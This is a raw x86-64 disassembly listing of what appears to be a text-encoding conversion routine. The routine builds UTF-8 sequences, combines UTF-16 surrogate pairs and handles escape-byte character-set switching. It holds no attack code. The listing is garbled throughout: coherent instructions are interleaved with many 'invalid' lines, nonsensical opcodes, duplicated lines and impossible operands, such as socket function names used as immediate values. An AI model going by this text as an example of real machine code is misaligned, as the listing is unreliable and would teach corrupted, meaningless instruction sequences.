lea r10, [rcx - 0x47c]
mov r8d, 0x2c
cmp r10, 0xa
jb 0x140064361
add rcx, 0xffffffffffffde46
mov r8d, 0x2f
mov r10, rcx
cmp rcx, 9
ja 0x140068dea
lea rax, [0x14018347c]
add r10w, word [rax + r8*2]
movzx ecx, r10w
cmp ecx, 0x800
jae 0x14006439c
mov eax, r10d
shr eax, 6
or al, 0xc0
mov rcx, qword [rsp + 0x38]
rol cl, 1
call 0x188c64f88
mov ecx, dword [rsp + 0x38]
mov byte [rcx + rbx], al
and r10b, 0x3f
or r10b, 0x80
mov byte [rcx + rbx + 1], r10b
add rbx, 2
jmp 0x1400643c9
mov eax, ecx
shr eax, 0xc
or al, 0xe0
mov r8, qword [rsp + 0x38]
mov byte [r8 + rbx], al
mov eax, ecx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [r8 + rbx + 1], al
and cl, 0x3f
loope 0x1400643fc
or cl, 0x80
mov byte [r8 + rbx + 2], cl
add rbx, 3
mov rbp, r14
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0x48], rbx
cmp rbp, r15
jb 0x1400641e2
jmp 0x14006623e
mov qword [rsp + 0x60], rdx
mov rax, qword [rsp + 0x38]
mov byte [rax + rbx], r9b
mov r11, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
inc rcx
mov qword [rsp + 0x48], rcx
cmp rcx, r11
jbe 0x140063a30
jmp 0x140068d34
test rax, rax
mov r12, rdx
mov r15, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
je 0x140064430
tzcnt r8, rax
jmp 0x140064436
mov r8d, 0x40
shr r8d, 3
add r8, 8
add rsi, r8
movzx r9d, byte [rdi + rsi]
jmp 0x140063c05
xor edx, edx
xor eax, eax
xor ecx, ecx
jmp 0x140064579
xor eax, eax
movzx ebx, byte [rdi + 9]
test bl, bl
je 0x1400629ca
test r15, r15
je 0x140064500
lea r13, [rax + 3]
cmp r13, r11
jae 0x1400646ae
mov r14, r11
movzx edx, byte [rdi + 0xa]
movzx r8d, dl
movzx r11d, byte [rdi + 0xb]
xor r10d, r10d
movzx r9d, byte [rsi + r10]
lea rcx, [r10 + 1]
cmp bl, 1
je 0x1400644d9
movzx esi, bl
cmp esi, 2
jne 0x140066249
mov byte [rdi + 9], 0
add r9b, 0x7f
cmp r9b, 0x7d
ja 0x140066282
mov byte [rdi + 9], 3
mov byte [rdi + 0xa], dl
mov byte [rdi + 0xb], r11b
mov byte [rdi + 0xc], r9b
mov bl, 3
mov rsi, qword [rsp + 0x30]
mov r10, rcx
cmp r15, rcx
jne 0x14006448d
jmp 0x140064500
mov byte [rdi + 9], 0
lea r11d, [r9 - 0x30]
cmp r11b, 9
ja 0x1400662aa
invalid
invalid
add byte [rax], al
mov byte [rdi + 9], 2
mov byte [rdi + 0xa], dl
mov byte [rdi + 0xb], r11b
mov bl, 2
mov r10, rcx
cmp r15, rcx
jne 0x14006448d
cmp byte [rsp + 0x120], 0
je 0x1400646c6
mov byte [rdi + 9], 0
or dword [r8], r8d
mov byte [r12 + 8], 2
mov byte [r12 + 9], bl
mov byte [r12 + 0xa], 0
jmp 0x1400646cc
xor ecx, ecx
xor eax, eax
jmp 0x140065a62
xor eax, eax
xor ecx, ecx
jmp fcn.14006734b
movzx ebx, word [rdi + 4]
xor ecx, ecx
jmp 0x140064773
mov byte [r12 + 8], 0
jmp 0x140066f85
mov dl, 1
jmp 0x140064579
mov byte [r12 + 8], 1
xor edx, edx
xor eax, eax
jmp 0x140065861
xor edx, edx
mov rax, r15
mov rcx, r8
mov byte [r12 + 8], dl
mov qword [r12], rax
jmp 0x14006588c
mov byte [rdi + 1], 1
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 0
mov r15d, 1
mov qword [r12], r15
jmp 0x140066f8d
mov rax, qword [rsp + 0x58]
mov byte [rax + 8], 0
mov qword [rax], rdx
mov qword [rax + 0x10], r12
jmp 0x140066f96
cmp dl, 3
sete cl
mov byte [rdi + 1], 0
inc cl
mov byte [r12 + 8], 2
mov byte [r12 + 9], cl
or dword [rcx - 0x3a], eax
and al, 0xa
add cl, ch
invalid
invalid
add byte [rax], al
xor eax, eax
cmp r10, rbx
setb al
add rbp, r14
add rcx, r14
fimul dword [rdi]
xchg edx, eax
ror byte [rcx + rax - 0xb], 0x4c
add ecx, esi
mov rbx, rcx
lea rcx, [rsp + 0x38]
and rcx, 0xffffffffffffff00
or rcx, rax
mov qword [r12], rbp
mov qword [r12 + 8], rcx
mov qword [r12 + 0x10], rbx
jmp 0x140066f96
mov byte [r12 + 8], 1
jmp 0x140067218
mov byte [r12 + 8], 0
jmp 0x140065861
movzx ecx, ax
cmp ecx, 0x800
jae 0x140064743
mov ecx, eax
shr ecx, 6
invalid
or cl, 0xc0
mov byte [rbp], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 1], al
mov ecx, 2
jmp 0x140064767
invalid
movzx eax, byte [rdi + 5]
mov byte [rbp], al
mov byte [rdi + 5], 0
mov eax, 1
jmp 0x1400650be
invalid
add byte [rcx], dh
ror byte [rbp + 0x39], cl
out 0xf, al
xchg edx, eax
ret 0x14c
xor edx, edx
cmp r14, r12
setb dl
add rcx, r9
add r8, r9
mov rax, r8
mov r12, rbp
lea r8, [rsp + 0x38]
and r8, 0xffffffffffffff00
or r8, rdx
mov qword [r12], rcx
mov qword [r12 + 8], r8
or byte [rcx - 0x77], cl
and al, 0x10
or byte [rcx - 0x77], cl
and al, 0x10
jmp 0x140066f96
mov byte [r12 + 8], 1
mov qword [r12], 0
mov qword [r12 + 0x10], rax
jmp 0x140066f96
mov byte [r12 + 8], 0
mov qword [r12], r15
mov qword [r12 + 0x10], rax
and al, 0x49
mov dword [rsp + 0x10], eax
jmp 0x140066f96
add rdx, 0xfffffffffffffb93
cmp rdx, 0x21
ja case.0x1400646f9.1134
lea rax, [0x140208864]
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
mov word [rbp], 0x8ac3
jmp 0x140066491
lea eax, [rcx + 0x7f]
cmp al, 0x7e
jae 0x14006594a
add cl, 0xb3
jmp 0x140065958
lea edx, [rsi - 0x40]
cmp dl, 0x3e
jbe 0x1400663d3
cmp sil, 0xfc
jle 0x1400663d0
mov byte [r12 + 8], 2
test sil, sil
jns 0x140066f7d
jmp 0x140065921
mov eax, ecx
shr eax, 0xc
or al, 0xe0
mov byte [rbp], al
mov eax, ecx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 1], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 2], cl
mov ecx, 3
mov byte [rdi + 7], 0
mov word [rdi + 4], 0
xor ebx, ebx
movzx ebp, byte [rdi + 2]
movzx edx, byte [rdi + 3]
movzx r13d, byte [rdi + 6]
xor eax, eax
mov byte [rsp + 0x80], r13b
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], rdi
movzx edx, dl
mov dword [rsp + 0x50], edx
shl edx, 8
mov dword [rsp + 0x70], edx
jmp 0x1400647b5
xor ebp, ebp
mov word [rdi + 4], dx
test bx, bx
mov ebx, edx
jne 0x140065877
test bpl, bpl
jne 0x140064af0
test bx, bx
jne 0x140064af0
mov r8, r15
test r13b, r13b
je 0x140064ad5
sub r8, rax
jb 0x140068a21
mov rdx, r11
sub rdx, rcx
jb 0x140068a35
cmp r8, 2
jb 0x140064af0
lea r9, [rsi + rax]
shr r8, 1
lea r14, [r8 - 1]
mov qword [rsp + 0x78], r9
movzx r9d, word [r9 + r8*2 - 2]
and r9d, 0xfc
cmp r9d, 0xd8
cmovne r14, r8
cmp rdx, 4
jb 0x140064b2f
cmp r14, rdx
mov r11, rdx
cmovb r11, r14
test r11, r11
je 0x140064dd6
mov r8, qword [rsp + 0x110]
lea rsi, [r8 + rcx]
lea r8, [rdx - 3]
mov qword [rsp + 0x88], r8
mov r13, rsi
mov r9, rdx
xor edi, edi
xor r10d, r10d
mov r15, qword [rsp + 0x78]
mov qword [rsp + 0x68], r14
mov r12, r14
xor r8d, r8d
nop word [rax + rax]
cmp r12, r8
je case.0x14002a035.462
movzx r14d, word [r15 + r8*2]
rol r14w, 8
cmp r14w, 0x7f
ja 0x1400648a5
cmp r9, r8
je 0x140067c16
mov byte [r13 + r8], r14b
inc r8
cmp r11, r8
jne 0x140064870
jmp 0x140064de0
add rdi, r8
add r10, r8
cmp r10, qword [rsp + 0x88]
jae 0x140064e07
inc rdi
mov r12, qword [rsp + 0x58]
movzx r13d, byte [rsp + 0x80]
lea r8d, [r14 + 0x2800]
movzx r8d, r8w
cmp r8d, 0x7ff
jbe 0x14006491f
movzx r8d, r14w
cmp r8d, 0x800
jae 0x1400649e7
cmp r10, rdx
jae 0x140068617
mov r8d, r14d
shr r8d, 6
or r8b, 0xc0
mov byte [rsi + r10], r8b
lea r9, [r10 + 1]
mov r15d, 2
cmp r9, rdx
jb 0x140064a30
jmp 0x140068639
lea r9, [rdi + rdi]
cmp r8d, 0x3ff
ja 0x140065071
cmp rdi, qword [rsp + 0x68]
jae 0x140065071
mov r8, qword [rsp + 0x78]
movzx r11d, word [r8 + r9]
rol r11w, 8
mov r8d, r11d
and r8d, 0xfc00
cmp r8d, 0xdc00
jne 0x140065071
cmp r10, rdx
jae 0x1400682d4
movzx r8d, r14w
shl r8d, 0xa
movzx r9d, r11w
lea r14d, [r8 + r9]
add r14d, 0xfca02400
mov r8d, r14d
shr r8d, 0x12
or r8b, 0xf0
mov byte [rsi + r10], r8b
lea r9, [r10 + 1]
cmp r9, rdx
jae 0x1400682e5
mov r8d, r14d
shr r8d, 0xc
and r8b, 0x3f
or r8b, 0x80
mov byte [rsi + r10 + 1], r8b
lea r9, [r10 + 2]
cmp r9, rdx
jae 0x1400682f6
shr r14d, 6
and r14b, 0x3f
or r14b, 0x80
mov byte [rsi + r10 + 2], r14b
lea r9, [r10 + 3]
cmp r9, rdx
jae 0x140068307
inc rdi
mov r15d, 4
jmp 0x140064a33
cmp r10, rdx
jae 0x140068628
shr r8d, 0xc
or r8b, 0xe0
mov byte [rsi + r10], r8b
lea r9, [r10 + 1]
cmp r9, rdx
jae 0x14006864a
mov r8d, r14d
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [rsi + r10 + 1], r8b
lea r9, [r10 + 2]
mov r15d, 3
cmp r9, rdx
jae 0x14006865b
mov r11d, r14d
mov r8, qword [rsp + 0x68]
and r11b, 0x3f
or r11b, 0x80
sub r8, rax
jb 0x140068a21
mov rdx, r11
sub rdx, rcx
jb 0x140068a35
cmp r8, 2
jae 0x140064b01
mov r9, rax
cmp r9, r15
jb 0x140064e3c
jmp 0x140064ff3
lea r9, [rsi + rax]
shr r8, 1
lea r14, [r8 - 1]
mov qword [rsp + 0x78], r9
movzx r9d, word [r9 + r8*2 - 2]
and r9d, 0xfc00
cmp r9d, 0xd800
add byte [rax], al
cmovne r14, r8
cmp rdx, 4
jae 0x140064b39
xor r10d, r10d
xor edi, edi
jmp 0x140064e27
cmp r14, rdx
mov r13, rdx
cmovb r13, r14
test r13, r13
je 0x140064dee
lea r8d, [r14 + 0x2800]
movzx r8d, r8w
cmp r8d, 0x7ff
jbe 0x140064c2d
movzx r8d, r14w
cmp r8d, 0x800
jae 0x140064cf4
cmp r10, rdx
jae 0x140068617
mov r8d, r14d
shr r8d, 6
or r8b, 0xc0
mov byte [r15 + r10], r8b
lea r9, [r10 + 1]
mov r8d, 2
cmp r9, rdx
jb 0x140064d3d
jmp 0x140068639
lea r9, [rdi + rdi]
cmp r8d, 0x3ff
ja 0x140065071
cmp rdi, qword [rsp + 0x68]
jae 0x140065071
mov r8, qword [rsp + 0x78]
movzx r13d, word [r8 + r9]
mov r8d, r13d
and r8d, 0xfc00
cmp r8d, 0xdc00
cmp eax, 0xdc00
jne 0x140065071
cmp r10, rdx
jae 0x1400682d4
invalid
movzx r8d, r13w
movzx r9d, r14w
shl r9d, 0xa
add r8d, r9d
add r8d, 0xfca02400
cld
cld
mov r9d, r8d
shr r9d, 0x12
or r9b, 0xf0
mov byte [r15 + r10], r9b
invalid
lea r9, [r10 + 1]
cmp r9, rdx
jae 0x1400682e5
add byte ss:[rax], al
mov r9d, r8d
shr r9d, 0xc
and r9b, 0x3f
or r9b, 0x80
cmp r10, rdx
jae 0x140068628
shr r8d, 0xc
or r8b, 0xe0
mov byte [r15 + r10], r8b
lea r9, [r10 + 1]
add qword [rcx + 0x39], rcx
ror dword [rdi], 1
xor dword [rcx + rdi], 0
invalid
mov r8d, r14d
shr r8d, 6
and r8b, 0x3f
or r8b, 0x80
mov byte [r15 + r10 + 1], r8b
lea r9, [r10 + 2]
mov r8d, 3
cmp r9, rdx
mov r13d, r14d
mov r14, qword [rsp + 0x68]
and r13b, 0x3f
or r13b, 0x80
mov byte [r15 + r9], r13b
add r10, r8
cmp r10, qword [rsp + 0x88]
jae 0x140064fda
cmp rdi, r14
movzx r13d, byte [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
test byte [rdx + rax], bl
invalid
lodsb al, byte [rsi]
and al, 0x80
jae case.0x14002a035.462
mov r8, qword [rsp + 0x78]
movzx r14d, word [r8 + rdi*2]
xor al, 0x78
xor al, 0x78
inc rdi
cmp r14w, 0x7f
ja 0x140064bd8
mov byte [r15 + r10], r14b
lea r14, [r10 + 1]
lea esi, [rdx + 1]
xor r14d, r14d
xor edi, edi
inc dword [rbp + 0x31]
shr bl, 6
mov r14, r10
mov r8, r11
add rdi, r8
add r14, r8
invalid
jmp 0x140064e04
xor r14d, r14d
xor edi, edi
mov r10, r14
mov r12, qword [rsp + 0x58]
mov r15, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov r11, qword [rsp + 0x118]
movzx r13d, byte [rsp + 0x80]
lea r9, [rax + rdi*2]
add rcx, r10
mov rdi, qword [rsp + 0x60]
jl 0x140064e56
invalid
cmp r9, r15
jae 0x140064ff3
lea r10, [rcx + 3]
cmp r10, r11
jae 0x140065048
lea rax, [r9 + 1]
lea eax, [rcx + 1]
add dword [r10 + 0xf], eax
mov dh, setsockopt
invalid
movzx edx, byte [rsi + r9]
test bpl, bpl
je 0x140064fe4
movzx edx, dl
movzx r8d, dx
mov r9d, dword [rsp + 0x70]
or r9d, r8d
shl r8d, 8
movzx edx, word [rsp + 0x50]
cmovne edx, ecx
mov byte [rdi + 2], 0
mov r8d, edx
and r8d, 0xfc00
cmp r8d, 0xdc00
add ah, bl
add byte [rax], al
add ah, bl
add byte [rax], al
je 0x140064eca
cmp r8d, 0xd800
je 0x1400647a4
test bx, bx
mov rbx, qword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rdi], cl
invalid
invalid
or dword [rax], eax
invalid
movzx r8d, dx
cmp r8d, 0x80
jae 0x140064f3b
mov byte [rbx + rcx], dl
inc rcx
jmp 0x140064f70
test bx, bx
mov r10, qword [rsp + 0x110]
add byte [rax], al
add byte [rax], al
je 0x140065053
movzx r8d, bx
shl r8d, 0xa
movzx edx, dx
add r8d, edx
add r8d, 0xfca02400
mov r9d, r8d
shr r9d, 0x12
or r9b, 0xf0
mov byte [r10 + rcx], r9b
mov r9d, r8d
cmp r8d, 0x800
add dword [rax - 0x7d], ecx
rol dword [rdx], 0x66
nop word cs:[rax + rax]
invalid
add byte [rcx], dh
invalid
xor ebx, ebx
xor ebp, ebp
jmp 0x1400647b5
clc
invalid
invalid
mov r15, qword [rsp + 0x28]
jmp 0x140064e27
jl 0x140064ff8
sub cl, ch
invalid
mov r15, qword [rsp + 0x28]
mov byte [rdi + 2], 1
mov byte [rdi + 3], dl
mov bpl, 1
jmp 0x140064794
test bx, bx
sete al
test bpl, bpl
rol byte [rax - 0x7c], 0xed
sete dl
cmp byte [rsp + 0x120], 0
mov byte [r12 + 8], 1
xor r9d, r9d
xor ecx, ecx
and al, 8
add dword [rbp + 0x31], eax
xor ecx, ecx
xor ecx, ecx
xor ecx, ecx
jmp 0x140065888
mov byte [r12 + 8], 1
jmp 0x140065888
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
jmp case.0x14007695a.9
or byte [rdx], al
add al, byte [rcx - 0x3a]
and al, 0xa
add cl, ch
invalid
and al, 8
add cl, ch
invalid
add r9, rax
add rcx, r10
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 0
jmp 0x140065888
mov rbx, r12
test r15, r15
invalid
jrcxz 0x14006510f
test edi, edi
je 0x1400657f7
movzx ebp, byte [rdi + 1]
mov dh, 0x61
add eax, 0x4cf63145
xor esi, esi
lea r8, [0x140208838]
invalid
lodsb al, byte [rsi]
adc dword [rax], eax
lea r10, [0x14018150e]
jmp case.0x14006bacd.11
mov rdi, rsi
mov byte [rsi + 5], cl
mov byte [rsi + 3], 6
mov dil, 6
mov r15, qword [rsp + 0x28]
jl 0x14006512c
sub byte [rcx - 0x77], al
int3
mov r12d, ecx
mov r14, rdx
cmp r15, rdx
je 0x1400657fa
lea r13, [rax + 2]
cmp r13, r11
jae case.default.0x140065142
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
movzx ecx, byte [rcx + r14]
movzx r15d, cl
stc
mov dh, 0xc
xor dword [rdi + rcx - 0x4a], eax
stc
lea rdx, [r14 + 1]
movzx edi, dil
out 0x80, eax
stc
sbb ecx, dword [rbx + rcx*4 + 0x7c]
and al, 0x28
invalid
cmp cl, 0x1b
mov r15, qword [rsp + 0x28]
invalid
sub byte [rdi], cl
test dword [rbx + 1], eax
add byte [rax], al
jne 0x140065295
mov byte [rsi + 3], 5
mov dil, 5
jmp 0x1400655eb
cmp cl, 0x1b
je 0x140066459
mov byte [rsi + 3], 3
lea edi, [r12 - 0x21]
fild word [rax - 0x7fbf203f]
inc dword [rbx]
fild word [rax - 0x7fbf203f]
inc dword [rbx]
jne 0x14006535f
add dword [rax], eax
add byte [rax - 0x7cf0ac07], al
stc
push rbx
invalid
sbb ecx, 1
cmp cl, 0x53
jae 0x14006535f
add byte [rax], al
movzx ecx, cl
add ecx, 0x3041
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x10
add dword [rax], eax
invalid
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x3a], al
invalid
invalid
add al, 6
jrcxz 0x140065126
iretd
out 7, eax
or dil, 0x80
mov byte [r14 + rax + 1], dil
and cl, 0x3f
or cl, 0x80
mov byte [r14 + rax + 2], cl
iretd
cmp cl, 0x1b
je 0x14006525b
invalid
add dh, al
add dword [rax], r8d
add dword [rax], eax
mov byte [rsi + 1], 0
add dword [rax], eax
lea edi, [rcx - 0x21]
cmp dil, 0x3f
jae 0x1400659f5
movzx edi, r15w
mov bh, 0xff
add edi, 0xffffff40
movzx ebp, di
mov dword [rax - 1], 0xb70fffff
out dx, eax
shr ebp, 0xc
or bpl, 0xe0
mov r14, qword [rsp + 0x110]
add byte [rax], al
add byte [rax], al
mov byte [r14 + rax], bpl
mov byte [rsi + rax], ch
sub al, 6
shr edi, 6
and dil, 0x3f
or dil, 0x80
mov byte [r14 + rax + 1], dil
and cl, 0x3f
loope 0x140065253
loope 0x140065253
or cl, 0x80
mov byte [r14 + rax + 2], cl
add rax, 3
mov dil, 2
xor ebp, ebp
jmp 0x140065262
cmp cl, 0x1b
je 0x14006525b
invalid
mov byte [rsi + 1], 0
lea edi, [rcx - 0x21]
cmp dil, 0x5e
mov r15, qword [rsp + 0x28]
jae 0x1400659f5
mov bl, 7
add byte [rax], al
mov bl, 7
add byte [rax], al
mov r14, rsi
mov byte [rsi + 5], cl
mov byte [rsi + 3], 4
mov dil, 4
xor ebp, ebp
jmp 0x140065109
invalid
cmp cl, 0x1b
jne 0x1400652cb
stc
sbb esi, dword [rbp + 0x70]
mov byte [rsi + 3], 5
mov dil, 5
mov ecx, r12d
jmp 0x140065104
cmp r15d, 0x24
je case.0x14005db00.105
cmp r15d, 0x28
je case.0x14005db00.105
jmp 0x140066fd3
cmp r12b, 0x28
jne 0x140065302
cmp cl, 0x42
jne 0x140065302
invalid
xor edi, edi
jmp 0x140065339
mov byte [rsi + 1], 0
test cl, cl
js 0x1400659f5
mov edi, ecx
and dil, 0xfe
cmp dil, 0xe
je 0x1400659f5
mov rdi, qword [rsp + 0x110]
mov byte [rdi + rax], cl
inc rax
xor edi, edi
mov ecx, r12d
xor ebp, ebp
jmp 0x140065109
mov rdi, rsi
mov byte [rsi + 1], 0
cmp r15d, 0x7e
je 0x1400653ea
cmp r15d, 0x5c
mov r14, qword [rsp + 0x110]
jne 0x14006540b
mov word [r14 + rax], 0xa5c2
mov dword [r14 + rax], 0xb740a5c2
add dword [rcx], esi
in eax, dx
mov dil, 1
xor ebp, ebp
mov rax, r13
jmp 0x140065262
cmp r12b, 0x28
jne 0x140065310
mov dil, 1
cmp cl, 0x4a
je 0x140065339
cmp r12b, 0x28
jne 0x14006531e
mov dil, 2
cmp cl, 0x49
je 0x140065339
cmp r12b, 0x24
jne 0x140067c2a
mov dil, 3
or r15d, 2
iretd
add al, byte [rcx - 0x7d]
inc dword [rdx + 0xf]
test ecx, esi
sub byte [rax], al
invalid
mov rcx, rsi
mov byte [rsi + 5], 0
mov byte [rsi + 3], dil
mov byte [rsi + 4], dil
mov byte [rsi + 1], 1
test bpl, bpl
jne 0x14006646f
xor ecx, ecx
cmp dil, 4
mov r15, qword [rsp + 0x28]
jne 0x1400653b0
cmp cl, 0x56
jae 0x1400653b0
movzx ecx, cl
add ecx, 0x30a1
mov r14, qword [rsp + 0x110]
mov byte [r14 + rax], 0xe3
mov edi, ecx
shr edi, 6
and dil, 7
or dil, 0x80
mov byte [r14 + rax + 1], dil
and cl, 0x3f
or cl, 0x80
mov byte [r14 + rax + 2], cl
add rax, 3
mov dil, 3
mov cl, 0x25
jmp 0x140065109
cmp cl, 0x5d
ja 0x140067276
movzx edi, dil
imul rdi, rdi, 0x5e
movzx r14d, cl
lea rcx, [rdi + r14]
mov rcx, qword [rsp + 0x110]
mov word [rcx + rax], 0x80e2
add edx, esp
add dh, 0x44
add dword [rdx], eax
mov esi, 0x3c08348
test cl, cl
mov r15, qword [rsp + 0x28]
js 0x1400659f5
mov edi, ecx
and dil, 0xfe
cmp dil, 0xe
je 0x1400659f5
mov byte [r14 + rax], cl
inc rax
inc eax
invalid
mov dil, 1
xor ebp, ebp
jmp 0x1400655eb
lea rdi, [rcx - 0x487]
mov r14d, 0x17
cmp rdi, 0x17
jb 0x140065558
jns 0x140065508
invalid
lea rdi, [rcx - 0x4a6]
mov r14d, 0x1a
cmp rdi, 0x1e
jb 0x140065558
lea rdi, [rcx - 0x29f0]
mov r14d, 0x1d
cmp rdi, 8
jb 0x140065558
adc dh, dl
invalid
lea rdi, [rcx - 0x21c4]
mov r14d, 0x20
cmp rdi, 3
ja 0x1400655f3
lea rcx, [0x14018343a]
movzx ecx, word [rcx + r14*2]
add rcx, rdi
cmp rcx, 0xf0
stc
lock add byte [rax], al
add byte [rdi], cl
cmp edx, 0x33
xor eax, dword [rax]
invalid
lea rdi, [0x14018325a]
movzx ecx, word [rdi + rcx*2]
cmp ecx, 0x800
jae 0x1400655af
mov edi, ecx
shr edi, 6
or dil, 0xc0
mov r14, qword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x78], al
cmp al, 6
and cl, 0x3f
or cl, 0x80
mov byte [r14 + rax + 1], cl
mov dil, 3
add ecx, dword [rcx + rcx*4 - 0x18]
add ecx, dword [rcx + rcx*4 - 0x18]
jmp 0x1400655eb
movzx ecx, cx
mov edi, ecx
shr edi, 0xc
or dil, 0xe0
mov r14, qword [rsp + 0x110]
mov byte [r14 + rax], dil
mov edi, ecx
shr edi, 6
and dil, 0x3f
or dil, 0x80
add byte [rcx - 0x78], 0x7c
invalid
add dword [rax - 0x367fc01f], eax
add byte [rcx - 0x78], 0x4c
invalid
add cl, byte [rax - 0x7d]
rol byte [rbx], 0x40
mov bh, 3
add byte [rcx - 0x78], 0x7c
invalid
mov ecx, r12d
jmp 0x140065109
lea rdi, [rcx - 0xcb]
mov r14d, 2
cmp rdi, 0xa
jb 0x140065779
lea rdi, [rcx - 0xdc]
mov r14d, 5
cmp rdi, 0x1a
jb 0x140065779
lea rdi, [rcx - 0xfc]
mov r14d, 8
cmp rdi, 0x1a
jb 0x140065779
lea rdi, [rcx - 0x1d6]
mov r14d, recv
cmp rdi, 0x11
jb 0x140065779
lea rdi, [rcx - 0x1e7]
mov r14d, recv
cmp rdi, 7
jb 0x140065779
lea rdi, [rcx - 0x1f6]
mov r14d, setsockopt
cmp rdi, 0x11
jb 0x140065779
lea rdi, [rcx - 0x207]
mov r14d, setsockopt
cmp rdi, 7
jb 0x140065779
lea rdi, [rcx - 0x234]
mov r14d, 0x17
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
inc dword [rsi]
jb 0x140065779
cmp ecx, 0x23a
jne 0x1400656c0
mov r14d, 0x1a
xor edi, edi
jmp 0x140065779
lea rdi, [rcx - 0x23b]
mov r14d, 0x1d
cmp rdi, 0x1a
jb 0x140065779
add byte [rax], al
lea rdi, [rcx - 0x264]
mov r14d, 0x20
cmp rdi, 6
jb 0x140065779
invalid
mov eax, dword [rax]
add byte [rax], al
cmp ecx, 0x26a
jne 0x140065700
mov r14d, 0x23
xor edi, edi
invalid
jmp 0x140065779
invalid
add byte [rax], al
add byte [rcx], dh
lea rdi, [rcx - 0x26b]
mov r14d, 0x26
cmp rdi, 0x1a
jb 0x140065779
lea rdi, [rcx - 0x468]
mov r14d, 0x29
cmp rdi, 0x14
cmp edi, 0x14
cmp edi, 0x14
jb 0x140065779
lea rdi, [rcx - 0x47c]
mov r14d, 0x2c
add byte [rax], al
cmp rdi, 0xa
jb 0x140065779
lea rdi, [rcx - 0x21ba]
mov r14d, 0x2f
cmp rdi, 0xa
jb 0x140065779
invalid
lea rdi, [rcx - 0x29dc]
mov r14d, 0x32
cmp rdi, 0xa
dec dword [rdx]
dec dword [rdx]
jb 0x140065779
add rcx, 0xffffffffffffd61a
mov r14d, 0x35
mov rdi, rcx
cmp rcx, 9
ja 0x140067276
lea rcx, [0x14018347c]
add di, word [rcx + r14*2]
movzx ecx, di
cmp ecx, 0x800
jae 0x1400657b9
mov ecx, edi
shr ecx, 6
or cl, 0xc0
mov r14, qword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov byte [r14 + rax], cl
and dil, 0x3f
or dil, 0x80
or bh, 0x80
or bh, 0x80
mov byte [r14 + rax + 1], dil
mov dil, 3
jmp 0x1400652fa
mov edi, ecx
shr edi, 0xc
or dil, 0xe0
mov r14, qword [rsp + 0x110]
mov byte [r14 + rax], dil
mov edi, ecx
shr edi, 6
out dx, eax
invalid
and dil, 0x3f
or dil, 0x80
mov byte [r14 + rax + 1], dil
and cl, 0x3f
loope 0x140065822
out dx, eax
invalid
loope 0x140065822
or cl, 0x80
mov byte [r14 + rax + 2], cl
add rax, 3
mov dil, 3
jmp 0x140065262
mov rsi, rdi
cmp byte [rsp + 0x120], 0
mov esp, 0x12024
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
fdiv qword [rcx + rdx*2 + 0xf]
mov dh, 0x4e
add ecx, dword [rax - 0x73]
lea rdx, [rcx - 4]
mov r12, rbx
je 0x140065858
movzx ecx, byte [rsi + 3]
lea rdx, [rcx - 4]
cmp rdx, 2
jae 0x140065838
movzx ecx, byte [rsi + 4]
mov byte [rsi + 3], cl
mov word [r12 + 8], 0x102
add al, byte [rcx]
mov byte [r12 + 0xa], 0
jmp 0x14006585e
mov r12, rbx
mov esp, ebx
mov byte [rbx + 8], 1
mov rdx, r14
jmp 0x140065861
cmp ecx, 6
jne 0x140065858
stc
invalid
mov byte [rsi + 2], 1
movzx ecx, byte [rsi + 4]
mov byte [rsi + 3], cl
mov word [r12 + 8], 0x102
mov byte [r12 + 0xa], 1
jmp 0x14006585e
mov byte [r12 + 8], 0
mov byte [rsp + 8], 0
mov rdx, r15
mov qword [r12], rdx
adc al, 0x24
mov qword [r12 + 0x10], rax
jmp 0x140066f96
mov word [rdi + 4], dx
mov byte [rdi + 7], 1
mov word [r12 + 8], 0x202
mov byte [r12 + 0xa], 2
mov r9, rax
mov qword [r12], r9
mov qword [r12 + 0x10], rcx
and al, 0x10
jmp 0x140066f96
mov byte [r12 + 8], 1
jmp 0x14006716c
mov ebp, 1
xor edx, edx
mov byte [rdi + 1], 0
lea r8d, [rax + 0x5f]
cmp r8b, 0x5d
jbe 0x140066d0a
mov byte [r12 + 8], 2
mov byte [rsp + 8], 2
and al, 8
add al, byte [rax + rax*8 + 0x1753880f]
add byte [rax], al
test al, al
js 0x14006701b
mov word [r12 + 9], 2
mov qword [r12], rdx
jmp 0x140066f8d
mov byte [rdi + 1], 0
lea ecx, [rax + 0x5f]
cmp cl, 0x3e
ja 0x140065913
mov qword [rsp + 0x60], rdi
movzx eax, cl
add eax, 0xffffff61
mov byte [rbp], 0xef
mov ecx, eax
shr ecx, 6
and cl, 0x3f
jmp 0x140066335
jl 0x14006590d
invalid
mov byte [rdi + 1], 0
lea ecx, [rax + 0x5f]
cmp cl, 0x5d
jbe 0x140066351
mov byte [r12 + 8], 2
test al, al
jns 0x140066f7d
mov word [r12 + 9], 2
mov qword [r12], 1
jmp 0x140066f8d
lea edx, [rcx + 0x7f]
cmp dl, 0x20
jae 0x1400663ac
lea edx, [rcx - 0x4d]
jmp 0x140066ed1
lea eax, [rcx - 0x61]
cmp al, 0x1a
jae 0x1400663c0
add cl, 0xb9
mov eax, ecx
movzx ecx, dl
movzx ecx, cx
imul ecx, ecx, 0xb2
movzx eax, al
add eax, ecx
